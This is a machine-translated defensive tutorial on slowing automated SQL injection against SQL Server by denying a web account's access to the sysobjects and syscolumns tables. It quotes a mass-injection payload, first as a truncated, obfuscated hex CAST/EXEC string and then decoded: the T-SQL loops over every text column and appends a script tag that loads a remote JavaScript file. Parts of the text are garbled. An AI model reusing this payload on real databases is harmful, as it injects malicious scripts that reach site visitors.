Delay SQL blind injection and SQL-server Permissions

The so-called SQL blind injection is to use automated programs to automatically scan injection points and automatically scan data tables for large-scale batch injection, which is also harmful.

Here we will discuss a method related to SQL Server permission to delay SQL blind injection.

In general, the final injection code of SQL blind injection is similar to the following segment (SQL Server 2000/2005 ):

DeCLaRE @ S NvArCHaR (4000); SeT

@ S = CaSt (0x4400650063006C006100720065002000400054002000560061007200630068006100720028003200

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

Bytes

 

AS NvArChAR (4000); ExEc (@ S );-
 

The decryption is the following part:

Declare @ T Varchar (255), @ C Varchar (255)

Declare Table_Cursor Cursor

For Select A. Name, B. Name From <strong> Sysobjects </strong> A, <strong> Syscolumns </strong> B

Where A. Id = B. Id And A. Xtype = 'U'

And (B. Xtype = 99 Or B. Xtype = 35 Or B. Xtype = 231 Or B. Xtype = 167)

Open Table_Cursor Fetch Next From Table_Cursor Into @ T, @ C

While (@ Fetch_Status = 0)

Begin

Exec ('Update [+ @ T +] Set [+ @ C +] = Rtrim (Convert (Varchar (8000), [++ @ C +]) + "<strong> script src = http://3b3.org/c.js </strong> <strong>"/script "</strong> "')

Fetch Next From Table_Cursor Into @ T, @ C

End

Close Table_Cursor

Deallocate Table_Cursor
 

I replaced the Script symbol.

We can also see the table name sysobjects and syscolumns marked in bold. SQL blind injection uses these two system tables for traversal.

So the method to temporarily delay SQL blind injection is to access the database account in the Program (Note: Do not use the default sa permission, we recommend that you create an access account for your Web application.) Remove the access permissions for these system tables to avoid blind injection, because the injection point still exists, it just delays SQL blind injection ).

For example, if the account used by your Web application to access the database is tnt001, the system table sysobjects and syscolumns are denied as follows:

SQL Server 2000 is relatively intuitive and simple, and SQL Server 2005 has completely reconstructed the entire system architecture, which is somewhat different. So here we take SQL Server 2005 as an example to describe in detail (similar to SQL Server 2008):

Step 1: select a specific database, click "security"-> "user" on the node, select the account you need, such as tnt001, right-click and select Properties

 

Step 2: Select "security object" on the left of the property page"

Step 3: Click
Security object
Under the "add" button, select "all objects of the feature type"

Step 4: Select "View" and select sysobjects and syscolumns

Step 5: Select the "Select" permissions for the selected views
Reject

Click OK.

Use the account tnt001 to connect and access sysobjects to test the connection. The following message is displayed:

"The SELECT permission on the object 'sysobjects' (Database 'mssqlsystemresource', architecture 'sys') is denied ."

The above method only delays SQL blind injection, because large-scale batch injection is automatically performed by the program. This method shields the program from blind injection attacks against such SQL Server databases, however, the SQL injection points still exist. If the injection is performed manually when relevant information is obtained, it is still unavoidable. To solve the problem, you must start with the source program.
Completely modified.

However, due to the fact that the source code involved in the SQL injection vulnerability is very complex, the amount of code to Review is large, this method of delaying SQL blind injection won some time for you to thoroughly investigate and modify programs with vulnerabilities.